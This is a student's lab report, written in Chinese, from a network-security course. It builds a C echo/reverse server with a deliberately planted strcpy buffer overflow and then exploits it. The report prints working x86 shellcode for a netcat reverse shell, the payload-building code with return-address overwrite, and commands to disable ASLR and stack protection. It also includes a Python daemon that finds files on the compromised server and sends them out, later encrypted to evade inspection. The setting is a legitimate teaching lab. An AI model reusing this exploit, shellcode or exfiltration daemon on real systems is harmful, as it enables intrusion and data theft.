网络安全——对简单服务器的攻击
任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。
1.服务端程序
int main()
{
int listen_socket = Creat_socket();
int client_socket = wait_client(listen_socket);
hanld_client(listen_socket, client_socket);
close(listen_socket);
return 0;
}
首先使用Create_socket()函数创建套接字,然后使用wait_client()函数等待客户端连接,当客户端连接成功并发送数据过来时,使用hanld_client()函数处理数据,即实现字符串翻转功能,最后关闭连接。
创建套接字首先使用socket()函数创建流式套接字,然后设置协议包的内容,使用bind()函数连接套接字,然后使用listen()函数进行监听。
使用accept()函数处理客户端交互,当收到客户端发来的数据时,将其存入buf缓冲区中,并使用hanld_client()函数处理缓冲区。这里我使用的是最简单的字符串翻转方法,即使用temp缓冲区作为临时缓冲区,进行字符串首尾对调。
2.服务端功能实现
void hanld_client(int listen_socket, int client_socket) //信息处理函数,功能是翻转字符串
{
char buf[SIZE];
char temp[SIZE];
while(1)
{
int ret = read(client_socket, buf, SIZE-1);
if(ret == -1)
{
perror("read");
break;
}
if(ret == 0)
{
break;
}
foo(buf);
int i;
for(i=0;i<SIZE;i++){
temp[i]=buf[i];
}
for(i=0;i<ret;i++){
buf[i] = temp[ret-i-1];
}
buf[ret] = '\0';
printf("%s\n", buf);
write(client_socket, buf, ret);
if(strncmp(buf, "end", 3) == 0)
{
break;
}
}
close(client_socket);
}
3.客户端
int main()
{
int client_socket = socket(AF_INET, SOCK_STREAM, 0); //创建和服务器连接套接字
if(client_socket == -1)
{
perror("socket");
return -1;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET; /* Internet地址族 */
addr.sin_port = htons(PORT); /* 端口号 */
addr.sin_addr.s_addr = htonl(INADDR_ANY); /* IP地址 */
inet_aton("127.0.0.1", &(addr.sin_addr));
int addrlen = sizeof(addr);
int listen_socket = connect(client_socket, (struct sockaddr *)&addr, addrlen); //连接服务器
if(listen_socket == -1)
{
perror("connect");
return -1;
}
printf("成功连接到一个服务器\n");
char buf[SIZE] = {0};
while(1) //向服务器发送数据,并接收服务器转换后的大写字母
{
printf("请输入你相输入的:");
scanf("%s", buf);
write(client_socket, buf, strlen(buf));
int ret = read(client_socket, buf, strlen(buf));
printf("buf = %s", buf);
printf("\n");
if(strncmp(buf, "END", 3) == 0) //当输入END时客户端退出
{
break;
}
}
close(listen_socket);
return 0;
}
客户端代码与服务端结构相似,不过是使用connect()函数连接服务端,发送buf中的数据。
任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的‘姓名.txt’,文件内容是你的学号。
1.gdb分析
首先使用上述的client客户端进行连接,主要是用来查看编译后的代码使用内存的情况。
void bar(char *temp, char *buf){
strcpy(temp, buf);
}
void foo(char *buf){
char temp[256];
printf("temp addr is %p\n",temp);
bar(temp, buf); //temp起始地址是0xbfffe660
}
首先分析代码,在hanld_client()函数中调用了foo函数,foo函数中申请了temp数组并调用bar函数,bar函数中的strcpy函数导致缓冲区溢出漏洞。
首先在foo函数下断点:
进入foo函数后申请了0x108字节空间(264字节),buf缓冲区起始地址:
距离栈中返回地址0xbfffe76c共268字节,所以我们的payload应该构造268字节。下图高亮位置为返回地址,我们需要通过构造payload覆盖。
2.Payload构造
Payload包含两部分,shellcode与地址。这里由于我们进行的是服务器上的缓冲区溢出漏洞,所以我们不能用普通的shellcode,需要用反弹shell的思路。参考下面链接。
参考链接
Shellcode如下:
static const char shellcode[] =
"\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46"
"\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f"
"\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89"
"\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d"
"\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32"
"\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41"
"\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";
构造思路为:首先我们需要安装netcat工具,netcat工具中的-e参数是我们需要使用的。我们需要用shellcode来运行以下这句指令:
#!bash
netcat -e /bin/sh 127.0.0.1 9999
获得了shellcode之后,将其嵌入我们的输入中:
length = strlen(shellcode);
for(int i=0; i<length;i++){
buf[i] = shellcode[i];
}
根据之前的分析,可以知道我们应该在buf[268-271]放入shellcode的地址。所以payload的构造如下:
int i,length;
length = strlen(shellcode);
for(int i=0; i<length;i++){
buf[i] = shellcode[i];
}
for(i=length;i<268;i++){
buf[i] = '\x90';
}
buf[271]='\xbf';
buf[270]='\xff';
buf[269]='\xe6';
buf[268]='\xa0';
另外需要注意的是,这里的地址和gdb中查看的地址是有偏差的。
Gdb中显示的buf数组的起始地址为0xbfffe660,而根据下图可以看出,直接运行的起始地址应该为0xbfffe6a0。
3.溢出成果
运行步骤:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
Netcat -lvp 9999
gcc -g -fno-stack-protector -z execstack -o server.c server
gcc attack.c -o attack
Server:
任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)
首先,利用我们的反弹shell将我们写的脚本上传到服务端机器并运行:(使用scp命令)
此目录下应该已经存在“姓名.txt”的文件,我们的目标是查找该目录下的含有我的姓名的txt文件,并传输给client。在这里,client我们就使用client目录来代替。
Daemon.py首先查找指定目录下的含有我的姓名的所有.txt文件:
MyName = 'myname'
filesdir = []
filename = []
#找到所有含有名字的txt文件
def findtxt(filedir):
for root, dirs, files in os.walk(filedir):
for f in files:
if '.txt' in f:
if MyName in f:
filename.append(f)
filesdir.append(os.path.join(root, f))
return
然后根据filesdir列表中的内容,将文件通过socket传送:
def socket_client():
findtxt('/home/hztian/final/server/')
# print(filesdir)
# print(filename)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9001))
except socket.error as msg:
print (msg)
sys.exit(1)
print(s.recv(1024))
# 需要传输的文件路径
filepath = filesdir[0]
# 判断是否为文件
if os.path.isfile(filepath):
fileinfo_size = struct.calcsize('128sl')
fhead = struct.pack('128sl', os.path.basename(filepath).encode('utf-8'), os.stat(filepath).st_size)
s.send(fhead)
fp = open(filepath, 'rb')
while 1:
data = fp.read(1024)
if not data:
print ('{0} file send over...'.format(os.path.basename(filepath)))
break
s.send(data)
s.close()
if __name__ == '__main__':
socket_client()
Python中的socket编程相较于c语言中的就简单很多了,只需要调用socket.socket库函数,并指定ip地址为本地ip,端口号为9001即可。传输文件成功后,可以在client/文件夹里查看到tianhengzhi.txt。
运行步骤:
运行client/file.py;
运行server/daemon.py;
查看client/目录中文件内容。
用wireshark抓取本地数据包:(参考链接如下)
参考链接
设置wireshark后开始抓包,同时开启文件传输,获取过滤包如下:
查看过滤包信息,如下图所示,发现可以直接截取到明文传输的文件内容,是以字符串形式传输。
任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。
文件传输前的加密:
def socket_client():
findtxt('/home/hztian/final/server/')
# print(filesdir)
# print(filename)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9001))
except socket.error as msg:
print (msg)
sys.exit(1)
print(s.recv(1024))
# 需要传输的文件路径
filepath = filesdir[0]
n = int("282743562011494034a441f73", 16)
e = int("e7c2fc23757f512c4baf85cd", 16)
# 判断是否为文件
if os.path.isfile(filepath):
# 定义定义文件信息。128s表示文件名为128bytes长,l表示一个int或log文件类型,在此为文件大小
fileinfo_size = struct.calcsize('128sl')
# 定义文件头信息,包含文件名和文件大小
enc_filepath = os.path.basename(filepath)
enc_filepath = encrypt(enc_filepath, e, n)
enc_filepath = enc_filepath.encode('utf-8')
print("-----------------")
print(enc_filepath)
# enc_filepath = encrypt(enc_filepath, e, n)
fhead = struct.pack('128sl', enc_filepath, 100)
# 发送文件名称与文件大小
s.send(fhead)
# 将传输文件以二进制的形式分多次上传至服务器
fp = open(filepath, 'rb')
while 1:
neirong = fp.read(1024)
neirong = neirong.decode(encoding="utf_8")
if neirong == '':
print('No PlainText!')
else:
print("Encrypting......")
cipher = encrypt(neirong, e, n) # 二进制转字符串
cipher = cipher.encode(encoding="utf_8") # 字符串转为二进制
print("Encrypted!\r\nThe Cipher is:", cipher)
if not neirong:
print ('{0} file send over...'.format(os.path.basename(filepath)))
break
s.send(cipher) # 发送密文
# 关闭当期的套接字对象
s.close()
设计思路为,使用RSA算法,由于部分服务器并不会安装python当中的rsa扩展库,所以这里使用python手动实现rsa算法。算法思路为,首先获取两个大素数,并计算出e,d,n的值,将公钥留在server端,利用n和e的值进行加密。由于之前的文件发送程序是以二进制的形式编写的,而我们的加密程序encrypt()是对字符串进行加密,所以在加密之前需要将二进制的值转化为字符串,经过加密,再将密文转化为二进制值发送。
使用wireshark进行抓包,与之前设置相同,抓取本地包如下。下图为抓取到的文件名信息,高亮处为加密后的文件名字符串。
下图为抓取到的文件内容,也是加密的。
在client端查看文件:
分析:使用的是RSA公钥密码体系,好处是在传输的时候,server端只需要保存公钥,不具有追踪性,即使server端查到该程序,也并不能得到有价值的密钥。有不足的地方是,这里并没有使用随机密钥,容易受到密钥攻击。从抓包结果我们可以看出,加密的措施是有效果的,保证了传输过程中的信息安全性。
感想:
本次期末实验总体来说做的比较顺利,使用socket传文件的部分之前接触较少,思考了一段时间,另外就是最后的加密部分,一开始想直接使用python中的库进行加密,这样就会方便很多,但和同学讨论了之后觉得他说的有道理,作为一个"入侵者",你不知道服务器是否安装了python的这个冷门库,所以最终还是选择手动实现rsa加密。
之前老师布置的大作业和实验都有认真完成,所以期末的实验相对来说没有花很长时间,缓冲区溢出等部分都做的比较顺利,这门课虽然很硬核,线上实验平台也花了我很长很长时间来完成,但是总体来说还是学到了很多东西,提升了网络安全相关的能力。